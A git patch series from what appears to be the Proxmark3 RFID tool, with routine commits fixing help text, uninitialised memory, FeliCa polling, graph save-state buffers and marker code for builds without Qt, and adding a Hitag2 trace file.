From 99a2a37e823c261d93b8c98463d8ccd2d857de4e Mon Sep 17 00:00:00 2001 From: Xavier <90627943+kitsunehunter@users.noreply.github.com> Date: Wed, 24 Apr 2024 21:55:24 -0400 Subject: [PATCH 001/157] update iclass elite key chk helptext Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com> --- client/src/cmdhficlass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 9849a88b0..ca3451e36 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3581,7 +3581,7 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { CLIParserInit(&ctx, "hf iclass chk", "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", "hf iclass chk -f iclass_default_keys.dic\n" - "hf iclass chk -f iclass_default_keys.dic --elite"); + "hf iclass chk -f iclass_elite_keys.dic --elite"); void *argtable[] = { arg_param_begin, From 36603818d107729efe7e8d3c302e65da4984a6c7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 25 Apr 2024 07:29:22 +0200 Subject: [PATCH 002/157] fixed a valgrind memory usage of uninitialised array --- CHANGELOG.md | 1 + client/src/cmdlf.c | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2226e4873..0787a910a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fix `lf cmdread` - uninitialised memory usage (@iceman1001) - Changed `hf st info` - now tries to check signature if available (@iceman1001) - Added `hf 14b mobib` - try to read out all data from a MOBIB card (@iceman1001) - Added `hf 14b calyso` - try to read out all data from a Calypso card (@iceman1001) diff --git a/client/src/cmdlf.c b/client/src/cmdlf.c index bf4fa1cb1..ef7fb4e86 100644 --- a/client/src/cmdlf.c +++ b/client/src/cmdlf.c @@ -289,8 +289,9 @@ int CmdLFCommandRead(const char *Cmd) { bool cm = arg_get_lit(ctx, 10); CLIParserFree(ctx); - if (g_session.pm3_present == false) + if (g_session.pm3_present == false) { return PM3_ENOTTY; + } #define PAYLOAD_HEADER_SIZE (12 + (3 * LF_CMDREAD_MAX_EXTRA_SYMBOLS)) struct p { @@ -311,6 +312,7 @@ int CmdLFCommandRead(const char *Cmd) { payload.keep_field_on = keep_field_on; payload.verbose = verbose; memset(payload.symbol_extra, 0, sizeof(payload.symbol_extra)); + memset(payload.period_extra, 0, sizeof(payload.period_extra)); if (add_crc_ht && (cmd_len <= 120)) { // Hitag 1, Hitag S, ZX8211 From 641b8f3f57027fc16b65e841156c073c103c7746 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 25 Apr 2024 07:37:26 +0200 Subject: [PATCH 003/157] added a trace file for looking at a genuine Hitag2 read out when card is configured in Crypto mode --- CHANGELOG.md | 1 + traces/README.md | 7 +++++++ traces/lf_hitag_crypto_dump.trace | Bin 0 -> 245 bytes 3 files changed, 8 insertions(+) create mode 100644 traces/lf_hitag_crypto_dump.trace diff --git a/CHANGELOG.md b/CHANGELOG.md index 0787a910a..70dd969d0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `lf_hitag_crypto.trace` - trace file of a complete read out of a Hitag2 in crypto mode (@iceman1001) - Fix `lf cmdread` - uninitialised memory usage (@iceman1001) - Changed `hf st info` - now tries to check signature if available (@iceman1001) - Added `hf 14b mobib` - try to read out all data from a MOBIB card (@iceman1001) diff --git a/traces/README.md b/traces/README.md index b21411f5e..6a030c4d1 100644 --- a/traces/README.md +++ b/traces/README.md @@ -104,3 +104,10 @@ |hf_mfdes_sniff.trace |Sniff of HID reader reading a MIFARE DESFire SIO card| |hf_iclass_sniff.trace |Sniff of HID reader reading a Picopass 2k card| |hf_mf_hid_sio_sim.trace |Simulation of a HID SIO MFC 1K card| + +## LF demodulated traces + +|filename|description| +|--------|-----------| +|lf_hitag_crypto_dump.trace |Execution of `lf hitag dump --crypto` against Hitag2 card in crypto mode| + diff --git a/traces/lf_hitag_crypto_dump.trace b/traces/lf_hitag_crypto_dump.trace new file mode 100644 index 0000000000000000000000000000000000000000..e69ed154831d85a0772afaf2f9bc090f726934fc GIT binary patch literal 245 zcmXSBWMEjrz{qfb^%4^ULoz!{gTUSu0t`_M3=D@@Ie;VsgRJ}mPlj7;3=GlSEDdh| zPX7nX8Za_3_#I$!2kJV`#?mlnk0?J_Tm~rqgn`KjD1HzqZauZs1+HHF0Fwt${3cLb z Date: Thu, 25 Apr 2024 08:02:11 +0200 Subject: [PATCH 004/157] the change to download the anticollision signal trace to "hf 14b reader" made it slow. Making it optional instead improves performance in "hf search" --- CHANGELOG.md | 1 + client/src/cmdhf.c | 2 +- client/src/cmdhf14b.c | 18 +++++++++++------- client/src/cmdhf14b.h | 2 +- 4 files changed, 14 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 70dd969d0..d01f6fdf6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf 14b reader --plot` - made the anticollision signal trace download optional (@iceman1001) - Added `lf_hitag_crypto.trace` - trace file of a complete read out of a Hitag2 in crypto mode (@iceman1001) - Fix `lf cmdread` - uninitialised memory usage (@iceman1001) - Changed `hf st info` - now tries to check signature if available (@iceman1001) diff --git a/client/src/cmdhf.c b/client/src/cmdhf.c index 86d1e5c99..d3134eaf3 100644 --- a/client/src/cmdhf.c +++ b/client/src/cmdhf.c @@ -176,7 +176,7 @@ int CmdHFSearch(const char *Cmd) { PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, " Searching for ISO14443-B tag..."); if (IfPm3Iso14443b()) { - if (readHF14B(false, false) == PM3_SUCCESS) { + if (readHF14B(false, false, false) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO 14443-B tag") " found\n"); success[ISO_14443B] = true; res = PM3_SUCCESS; diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 7f3066b50..0f621d8d9 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -1503,13 +1503,15 @@ static int CmdHF14BReader(const char *Cmd) { void *argtable[] = { arg_param_begin, + arg_lit0(NULL, "plot", "show anticollision signal trace in plot window"), arg_lit0("v", "verbose", "verbose output"), arg_lit0("@", NULL, "optional - continuous reader mode"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - bool verbose = arg_get_lit(ctx, 1); - bool cm = arg_get_lit(ctx, 2); + bool read_plot = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + bool cm = arg_get_lit(ctx, 3); CLIParserFree(ctx); if (cm) { @@ -1518,7 +1520,7 @@ static int CmdHF14BReader(const char *Cmd) { clear_trace_14b(); - return readHF14B(cm, verbose); + return readHF14B(cm, verbose, read_plot); } // Read SRI512|SRIX4K block @@ -2928,7 +2930,7 @@ int infoHF14B(bool verbose, bool do_aid_search) { } // get and print general info about all known 14b chips -int readHF14B(bool loop, bool verbose) { +int readHF14B(bool loop, bool verbose, bool read_plot) { bool found = false; int res = PM3_SUCCESS; do { @@ -2960,9 +2962,11 @@ int readHF14B(bool loop, bool verbose) { if (found) goto plot; plot: - res = handle_hf_plot(verbose); - if (res != PM3_SUCCESS) { - PrintAndLogEx(DEBUG, "plot failed"); + if (read_plot) { + res = handle_hf_plot(verbose); + if (res != PM3_SUCCESS) { + PrintAndLogEx(DEBUG, "plot failed"); + } } } while (loop && kbd_enter_pressed() == false); diff --git a/client/src/cmdhf14b.h b/client/src/cmdhf14b.h index e66f5d19b..009395ba2 100644 --- a/client/src/cmdhf14b.h +++ b/client/src/cmdhf14b.h @@ -30,5 +30,5 @@ int exchange_14b_apdu(uint8_t *datain, int datainlen, bool activate_field, bool int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card); int infoHF14B(bool verbose, bool do_aid_search); -int readHF14B(bool loop, bool verbose); +int readHF14B(bool loop, bool verbose, bool read_plot); #endif From f1340495b3862b99360de6fa6a4d9a33492465b5 Mon Sep 17 00:00:00 2001 From: jlitewski Date: Thu, 25 Apr 2024 22:06:12 -0400 Subject: [PATCH 005/157] Another fix to the Graph SaveStates --- .gitignore | 4 ++++ client/src/cmddata.c | 22 +++++++++++----------- client/src/graph.c | 19 +++++++++++++++---- client/src/graph.h | 11 ++++++----- 4 files changed, 36 insertions(+), 20 deletions(-) diff --git a/.gitignore b/.gitignore index 627d3dc0d..58057497b 100644 --- a/.gitignore +++ b/.gitignore @@ -122,3 +122,7 @@ fpga_version_info.c # docs !doc/*.json + +# local codeql +_codeql* +/codeql \ No newline at end of file diff --git a/client/src/cmddata.c b/client/src/cmddata.c index fb0c68c12..38f2cbd9c 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -3681,8 +3681,9 @@ static int CmdTestSaveState8(const char *Cmd) { srand(time(NULL)); - size_t length = 64; - uint8_t *srcBuffer = (uint8_t*)calloc(length, sizeof(uint8_t)); + size_t length = (rand() % 256); + PrintAndLogEx(DEBUG, "Testing with length = %llu", length); + uint8_t *srcBuffer = (uint8_t*)calloc(length + 1, sizeof(uint8_t)); //Set up the source buffer with random data for(int i = 0; i < length; i++) { @@ -3690,24 +3691,23 @@ static int CmdTestSaveState8(const char *Cmd) { } buffer_savestate_t test8 = save_buffer8(srcBuffer, length); - PrintAndLogEx(DEBUG, "Save State created, length=%llu, type=%i", test8.bufferSize, test8.type); + PrintAndLogEx(DEBUG, "Save State created, length = %llu, padding = %i, type = %i", test8.bufferSize, test8.padding, test8.type); test8.clock = rand(); test8.offset = rand(); - PrintAndLogEx(DEBUG, "Save State clock=%u, offset=%u", test8.clock, test8.offset); + PrintAndLogEx(DEBUG, "Save State clock = %u, offset = %u", test8.clock, test8.offset); uint8_t *destBuffer = (uint8_t*)calloc(length, sizeof(uint8_t)); size_t returnedLength = restore_buffer8(test8, destBuffer); if(returnedLength != length) { - PrintAndLogEx(FAILED, "Return Length != Buffer Length! Expected '%llu', got '%llu", g_DemodBufferLen, returnedLength); - free(srcBuffer); - free(destBuffer); - return PM3_EFAILED; + PrintAndLogEx(DEBUG, _YELLOW_("Returned length != expected length!")); + PrintAndLogEx(WARNING, "Returned Length = %llu Buffer Length = %llu Expected = %llu", returnedLength, test8.bufferSize, length); + } else { + PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n"); } - PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n"); - - for(size_t i = 0; i < length; i++) { + + for(size_t i = 0; i < returnedLength; i++) { if(srcBuffer[i] != destBuffer[i]) { PrintAndLogEx(FAILED, "Buffers don't match at index %lu!, Expected %i, got %i", i, srcBuffer[i], destBuffer[i]); free(srcBuffer); diff --git a/client/src/graph.c b/client/src/graph.c index c0679d19e..100cf52fe 100644 --- a/client/src/graph.c +++ b/client/src/graph.c @@ -475,7 +475,8 @@ buffer_savestate_t save_buffer32(uint32_t *src, size_t length) { buffer_savestate_t bst = { .type = sizeof(uint32_t), .bufferSize = length, - .buffer = savedBuffer + .buffer = savedBuffer, + .padding = 0 }; return bst; @@ -491,7 +492,8 @@ buffer_savestate_t save_bufferS32(int32_t *src, size_t length) { buffer_savestate_t bst = { .type = (sizeof(int32_t) >> 8), .bufferSize = length, - .buffer = savedBuffer + .buffer = savedBuffer, + .padding = 0 }; return bst; @@ -503,8 +505,11 @@ buffer_savestate_t save_buffer8(uint8_t *src, size_t length) { // 1/4 of the size needed size_t buffSize = (length / 4); + PrintAndLogEx(DEBUG, "(save_buffer8) buffSize = %llu, length = %llu", buffSize, length); + if (length % 4) { buffSize++; + PrintAndLogEx(DEBUG, "(save_buffer8) new buffSize = %llu", buffSize); } // calloc the memory needed @@ -520,7 +525,8 @@ buffer_savestate_t save_buffer8(uint8_t *src, size_t length) { buffer_savestate_t bst = { .type = sizeof(uint8_t), .bufferSize = buffSize, - .buffer = savedBuffer + .buffer = savedBuffer, + .padding = ((buffSize * 4) - length) }; return bst; @@ -558,13 +564,18 @@ size_t restore_buffer8(buffer_savestate_t saveState, uint8_t *dest) { } size_t index = 0; + size_t length = ((saveState.bufferSize * 4) - saveState.padding); // Unpack the array - for(size_t i = 0; i < saveState.bufferSize; i++) { + for(size_t i = 0; i < saveState.bufferSize; i++) { dest[index++] = saveState.buffer[i]; + if(index == length) break; dest[index++] = (saveState.buffer[i] >> 8) & 0xFF; + if(index == length) break; dest[index++] = (saveState.buffer[i] >> 16) & 0xFF; + if(index == length) break; dest[index++] = (saveState.buffer[i] >> 24) & 0xFF; + if(index == length) break; } return index; diff --git a/client/src/graph.h b/client/src/graph.h index 5c51481f2..410fe88a9 100644 --- a/client/src/graph.h +++ b/client/src/graph.h @@ -26,11 +26,12 @@ extern "C" { #endif typedef struct { - const uint8_t type; //Used for sanity checks - const uint32_t *buffer; - const size_t bufferSize; - uint32_t offset; - uint32_t clock; //Not used by all buffers + const uint8_t type; // Used for sanity checks + const uint32_t *buffer; // The storage buffer for this save state + const size_t bufferSize; // The size of the buffer + const uint8_t padding; // The amount of padding at the end of the buffer, if needed + uint32_t offset; // (optional) Any offset the buffer needs after restoring + uint32_t clock; // (optional) Clock data for the buffer } buffer_savestate_t; void AppendGraph(bool redraw, uint16_t clock, int bit); From eac377418931b93f2213b24c096a91953c264a9f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 26 Apr 2024 12:15:38 +0200 Subject: [PATCH 006/157] changed to 50 polls, not sure if its good. Maybe looking at timeout 1060ms value instead? also cleaned out debug statements --- armsrc/felica.c | 104 ++++++++++++++++++++++-------------------------- 1 file changed, 47 insertions(+), 57 deletions(-) diff --git a/armsrc/felica.c b/armsrc/felica.c index df0be5c40..e94a08f5a 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -236,9 +236,10 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // 0x00 = timeslot // 0x09 0x21 = crc static uint8_t poll[10] = {0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xFF, 0xFF, 0x00, 0x00, 0x09, 0x21}; - int len = 10; + // We try 10 times, or if answer was received. + int len = 50; do { // end-of-reception response packet data, wait approx. 501μs // end-of-transmission command packet data, wait approx. 197μs @@ -246,45 +247,40 @@ static uint8_t felica_select_card(felica_card_select_t *card) { TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0); // polling card, break if success - if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) + if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) { break; + } WDT_HIT(); } while (--len); - // timed-out + // 1. timed-out if (len == 0) { - if (g_dbglevel >= DBG_DEBUG) - Dbprintf("Error: Time out card selection!"); return 1; } - // wrong answer + // 2. wrong answer if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK) { - if (g_dbglevel >= DBG_DEBUG) - Dbprintf("Error: Wrong answer selecting card!"); return 2; } - // VALIDATE CRC residue is 0, hence if crc is a value it failed. - if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2)) { + // 3. wrong crc. residue is 0, hence if crc is a value it failed. + if (check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2) == false) { + if (g_dbglevel >= DBG_DEBUG) { Dbprintf("Error: CRC check failed!"); - Dbprintf("CRC check was done on Frame: "); Dbhexdump(FelicaFrame.len - 2, FelicaFrame.framebytes + 2, 0); } return 3; } - if (g_dbglevel >= DBG_DEBUG) - Dbprintf("Card selection successful!"); // copy UID // idm 8 if (card) { memcpy(card->IDm, FelicaFrame.framebytes + 4, 8); memcpy(card->PMm, FelicaFrame.framebytes + 4 + 8, 8); - //memcpy(card->servicecode, FelicaFrame.framebytes + 4 + 8 + 8, 2); + // memcpy(card->servicecode, FelicaFrame.framebytes + 4 + 8 + 8, 2); memcpy(card->code, card->IDm, 2); memcpy(card->uid, card->IDm + 2, 6); memcpy(card->iccode, card->PMm, 2); @@ -294,7 +290,7 @@ static uint8_t felica_select_card(felica_card_select_t *card) { Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0); } } - // more status bytes? + // 0. OK return 0; } @@ -311,8 +307,10 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // 8-byte IDm, number of blocks, blocks numbers // number of blocks limited to 4 for FelicaLite(S) static void BuildFliteRdblk(const uint8_t *idm, uint8_t blocknum, const uint16_t *blocks) { - if (blocknum > 4 || blocknum == 0) + + if (blocknum > 4 || blocknum == 0) { Dbprintf("Invalid number of blocks, %d != 4", blocknum); + } uint8_t c = 0, i = 0; @@ -320,11 +318,11 @@ static void BuildFliteRdblk(const uint8_t *idm, uint8_t blocknum, const uint16_t frameSpace[c++] = 0xb2; frameSpace[c++] = 0x4d; - c++; //set length later + c++; // set length later - frameSpace[c++] = FELICA_RDBLK_REQ; //command number + frameSpace[c++] = FELICA_RDBLK_REQ; // command number - //card IDm, from poll + // card IDm, from poll frameSpace[c++] = idm[0]; frameSpace[c++] = idm[1]; frameSpace[c++] = idm[2]; @@ -334,22 +332,22 @@ static void BuildFliteRdblk(const uint8_t *idm, uint8_t blocknum, const uint16_t frameSpace[c++] = idm[6]; frameSpace[c++] = idm[7]; - //number of services + // number of services frameSpace[c++] = 0x01; - //service code + // service code frameSpace[c++] = (SERVICE_FELICA_LITE_READONLY >> 8); frameSpace[c++] = SERVICE_FELICA_LITE_READONLY & 0xFF; - //number of blocks + // number of blocks frameSpace[c++] = blocknum; for (i = 0; i < blocknum; i++) { - //3-byte block + // 3-byte block if (blocks[i] >= 256) { frameSpace[c++] = 0x00; - frameSpace[c++] = (blocks[i] >> 8); //block number, little endian.... + frameSpace[c++] = (blocks[i] >> 8); // block number, little endian.... frameSpace[c++] = (blocks[i] & 0xff); } else { frameSpace[c++] = 0x80; @@ -357,16 +355,16 @@ static void BuildFliteRdblk(const uint8_t *idm, uint8_t blocknum, const uint16_t } } - //set length + // set length frameSpace[2] = c - 2; - //Add CRC + // Add CRC AddCrc(frameSpace + 2, c - 2); } static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const uint32_t *NYI_timing_NYI, uint8_t power, uint8_t highspeed) { if (NYI_timing_NYI != NULL) { - Dbprintf("Error: TransmitFor18092_AsReader does not check or set parameter NYI_timing_NYI"); + DbpString("Error: TransmitFor18092_AsReader does not check or set parameter NYI_timing_NYI"); return; } @@ -400,10 +398,6 @@ static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const } // sending data with sync bytes c = 0; - if (g_dbglevel >= DBG_DEBUG) { - Dbprintf("Sending frame:"); - Dbhexdump(len, frame, 0); - } while (c < len) { // Put byte into tx holding register as soon as it is ready @@ -438,9 +432,7 @@ static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const // or return TRUE when command is captured bool WaitForFelicaReply(uint16_t maxbytes) { - if (g_dbglevel >= DBG_DEBUG) { - Dbprintf("WaitForFelicaReply Start"); - } +// if (g_dbglevel >= DBG_DEBUG) { Dbprintf("WaitForFelicaReply Start"); } uint32_t c = 0; @@ -478,14 +470,11 @@ bool WaitForFelicaReply(uint16_t maxbytes) { NULL, false ); - - if (g_dbglevel >= DBG_DEBUG) Dbprintf("All bytes received! STATE_FULL"); - return true; } else if (c++ > timeout && (FelicaFrame.state == STATE_UNSYNCD || FelicaFrame.state == STATE_TRYING_SYNC)) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD"); +// if (g_dbglevel >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD"); return false; } @@ -496,7 +485,6 @@ bool WaitForFelicaReply(uint16_t maxbytes) { // Set up FeliCa communication (similar to iso14443a_setup) // field is setup for "Sending as Reader" static void iso18092_setup(uint8_t fpga_minor_mode) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Start iso18092_setup"); LEDsoff(); #if defined XC3 @@ -510,7 +498,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { // Initialize Demod and Uart structs // DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); - FelicaFrameinit(BigBuf_malloc(FELICA_MAX_FRAME_SIZE)); + FelicaFrameinit(BigBuf_calloc(FELICA_MAX_FRAME_SIZE)); felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; // 418 // iso18092_set_timeout(2120); // 106 * 20ms maximum start-up time of card @@ -553,7 +541,6 @@ static void felica_reset_frame_mode(void) { // arg1 len of commandbytes // d.asBytes command bytes to send void felica_sendraw(const PacketCommandNG *c) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("FeliCa_sendraw Enter"); felica_command_t param = c->oldarg[0]; size_t len = c->oldarg[1] & 0xffff; @@ -562,33 +549,33 @@ void felica_sendraw(const PacketCommandNG *c) { felica_card_select_t card; - if ((param & FELICA_CONNECT)) - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Clear trace"); - clear_trace(); + if ((param & FELICA_CONNECT) == FELICA_CONNECT) { + clear_trace(); + } set_tracing(true); iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); - if ((param & FELICA_CONNECT)) { + if ((param & FELICA_CONNECT) == FELICA_CONNECT) { + // notify client selecting status. // if failed selecting, turn off antenna and quite. - if (!(param & FELICA_NO_SELECT)) { + if ((param & FELICA_NO_SELECT) != FELICA_NO_SELECT) { + arg0 = felica_select_card(&card); reply_mix(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t)); - if (arg0 > 0) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Error: Failed selecting card! "); + if (arg0) { felica_reset_frame_mode(); return; } } - } else { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("No card selection"); + } - if ((param & FELICA_RAW)) { + if ((param & FELICA_RAW) == FELICA_RAW) { // 2 sync, 1 len, 2crc == 5 - uint8_t *buf = BigBuf_malloc(len + 5); + uint8_t *buf = BigBuf_calloc(len + 5); // add sync bits buf[0] = 0xb2; buf[1] = 0x4d; @@ -597,19 +584,22 @@ void felica_sendraw(const PacketCommandNG *c) { // copy command memcpy(buf + 2, cmd, len); - if ((param & FELICA_APPEND_CRC)) { + if ((param & FELICA_APPEND_CRC) == FELICA_APPEND_CRC) { // Don't append crc on empty bytearray... if (len > 0) { AddCrc(buf + 2, len); } } + if (g_dbglevel >= DBG_DEBUG) { Dbprintf("Transmit Frame (no CRC shown):"); Dbhexdump(len, buf, 0); Dbprintf("Buffer Length: %i", buf[2] + 4); }; + TransmitFor18092_AsReader(buf, buf[2] + 4, NULL, 1, 0); arg0 = WaitForFelicaReply(1024); + if (g_dbglevel >= DBG_DEBUG) { Dbprintf("Received Frame Code: %d", arg0); Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0); @@ -620,11 +610,11 @@ void felica_sendraw(const PacketCommandNG *c) { Dbprintf("Reply to Client Error Code: %i", result); } } - if ((param & FELICA_NO_DISCONNECT)) { - Dbprintf("Disconnect"); + + if ((param & FELICA_NO_DISCONNECT) == FELICA_NO_DISCONNECT) { + return; } - if (g_dbglevel >= DBG_DEBUG) - Dbprintf("FeliCa_sendraw Exit"); + felica_reset_frame_mode(); return; } From d820153a619a0094806a0397262b161940bb8e6d Mon Sep 17 00:00:00 2001 From: jlitewski Date: Fri, 26 Apr 2024 07:23:38 -0400 Subject: [PATCH 007/157] Fix the issue of SKIPQT builds not working --- client/src/graph.c | 3 +++ client/src/graph.h | 9 +++++++++ client/src/proxgui.cpp | 3 --- client/src/proxgui.h | 8 -------- client/src/proxguiqt.h | 1 + 5 files changed, 13 insertions(+), 11 deletions(-) diff --git a/client/src/graph.c b/client/src/graph.c index c0679d19e..423593622 100644 --- a/client/src/graph.c +++ b/client/src/graph.c @@ -32,6 +32,9 @@ int32_t g_OverlayBuffer[MAX_GRAPH_TRACE_LEN]; bool g_useOverlays = false; size_t g_GraphTraceLen; buffer_savestate_t g_saveState_gb; +marker_t g_MarkerA, g_MarkerB, g_MarkerC, g_MarkerD; +marker_t *g_TempMarkers; +uint8_t g_TempMarkerSize = 0; /* write a manchester bit to the graph */ diff --git a/client/src/graph.h b/client/src/graph.h index 5c51481f2..6ab45e74a 100644 --- a/client/src/graph.h +++ b/client/src/graph.h @@ -33,6 +33,11 @@ typedef struct { uint32_t clock; //Not used by all buffers } buffer_savestate_t; +typedef struct { + uint32_t pos; + char label[30]; +} marker_t; + void AppendGraph(bool redraw, uint16_t clock, int bit); size_t ClearGraph(bool redraw); bool HasGraphData(void); @@ -68,6 +73,10 @@ extern int32_t g_OverlayBuffer[MAX_GRAPH_TRACE_LEN]; extern bool g_useOverlays; extern size_t g_GraphTraceLen; +extern marker_t g_MarkerA, g_MarkerB, g_MarkerC, g_MarkerD; +extern marker_t *g_TempMarkers; +extern uint8_t g_TempMarkerSize; + extern double g_GridOffset; extern buffer_savestate_t g_saveState_gb; diff --git a/client/src/proxgui.cpp b/client/src/proxgui.cpp index 29eb79d7a..528df4d5e 100644 --- a/client/src/proxgui.cpp +++ b/client/src/proxgui.cpp @@ -24,9 +24,6 @@ #include "ui.h" // for prints static ProxGuiQT *gui = NULL; -marker_t g_MarkerA, g_MarkerB, g_MarkerC, g_MarkerD; -marker_t *g_TempMarkers; -uint8_t g_TempMarkerSize = 0; static WorkerThread *main_loop_thread = NULL; WorkerThread::WorkerThread(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) : script_cmds_file(script_cmds_file), script_cmd(script_cmd), stayInCommandLoop(stayInCommandLoop) { diff --git a/client/src/proxgui.h b/client/src/proxgui.h index daeed30b6..498c0a83f 100644 --- a/client/src/proxgui.h +++ b/client/src/proxgui.h @@ -27,11 +27,6 @@ extern "C" { #include #include -typedef struct { - uint32_t pos; - char label[30]; -} marker_t; - void ShowGraphWindow(void); void HideGraphWindow(void); void RepaintGraphWindow(void); @@ -53,9 +48,6 @@ extern void remove_temporary_markers(void); extern double g_CursorScaleFactor; extern char g_CursorScaleFactorUnit[11]; extern double g_PlotGridX, g_PlotGridY, g_DefaultGridX, g_DefaultGridY; -extern marker_t g_MarkerA, g_MarkerB, g_MarkerC, g_MarkerD; -extern marker_t *g_TempMarkers; -extern uint8_t g_TempMarkerSize; extern uint32_t g_GraphStart, g_GraphStart_old, g_GraphStop; extern int CommandFinished; extern int offline; diff --git a/client/src/proxguiqt.h b/client/src/proxguiqt.h index 2f4879495..6e7f8efb1 100644 --- a/client/src/proxguiqt.h +++ b/client/src/proxguiqt.h @@ -30,6 +30,7 @@ #include #include "proxgui.h" +#include "graph.h" #include "ui/ui_overlays.h" #include "ui/ui_image.h" From 8789991f9ad39500a1da9196162feadeb1526180 Mon Sep 17 00:00:00 2001 From: jlitewski Date: Fri, 26 Apr 2024 08:29:17 -0400 Subject: [PATCH 008/157] Fixed compile issues I missed --- client/src/graph.c | 41 +++++++++++++++++++++++++++++++++++++++++ client/src/graph.h | 3 +++ client/src/proxgui.cpp | 41 ----------------------------------------- client/src/proxgui.h | 4 ---- 4 files changed, 44 insertions(+), 45 deletions(-) diff --git a/client/src/graph.c b/client/src/graph.c index 423593622..2eb185e0a 100644 --- a/client/src/graph.c +++ b/client/src/graph.c @@ -468,6 +468,47 @@ bool fskClocks(uint8_t *fc1, uint8_t *fc2, uint8_t *rf1, int *firstClockEdge) { return true; } +void add_temporary_marker(uint32_t position, const char *label) { + if (g_TempMarkerSize == 0) { //Initialize the marker array + g_TempMarkers = (marker_t *)calloc(1, sizeof(marker_t)); + } else { //add more space to the marker array using realloc() + marker_t *temp = (marker_t *)realloc(g_TempMarkers, ((g_TempMarkerSize + 1) * sizeof(marker_t))); + + if (temp == NULL) { //Unable to reallocate memory for a new marker + PrintAndLogEx(FAILED, "Unable to allocate memory for a new temporary marker!"); + free(temp); + return; + } else { + //Set g_TempMarkers to the new pointer + g_TempMarkers = temp; + } + } + + g_TempMarkers[g_TempMarkerSize].pos = position; + + char *markerLabel = (char *)calloc(1, strlen(label) + 1); + strcpy(markerLabel, label); + + if (strlen(markerLabel) > 30) { + PrintAndLogEx(WARNING, "Label for temporary marker too long! Trunicating..."); + markerLabel[30] = '\0'; + } + + strncpy(g_TempMarkers[g_TempMarkerSize].label, markerLabel, 30); + g_TempMarkerSize++; + + memset(markerLabel, 0x00, strlen(label)); + free(markerLabel); +} + +void remove_temporary_markers(void) { + if (g_TempMarkerSize == 0) return; + + memset(g_TempMarkers, 0x00, (g_TempMarkerSize * sizeof(marker_t))); + free(g_TempMarkers); + g_TempMarkerSize = 0; +} + buffer_savestate_t save_buffer32(uint32_t *src, size_t length) { //calloc the memory needed uint32_t* savedBuffer = (uint32_t*)calloc(length, sizeof(uint32_t)); diff --git a/client/src/graph.h b/client/src/graph.h index 6ab45e74a..b2e02b137 100644 --- a/client/src/graph.h +++ b/client/src/graph.h @@ -56,6 +56,9 @@ int GetNrzClock(const char *str, bool verbose); int GetFskClock(const char *str, bool verbose); bool fskClocks(uint8_t *fc1, uint8_t *fc2, uint8_t *rf1, int *firstClockEdge); +extern void add_temporary_marker(uint32_t position, const char *label); +extern void remove_temporary_markers(void); + buffer_savestate_t 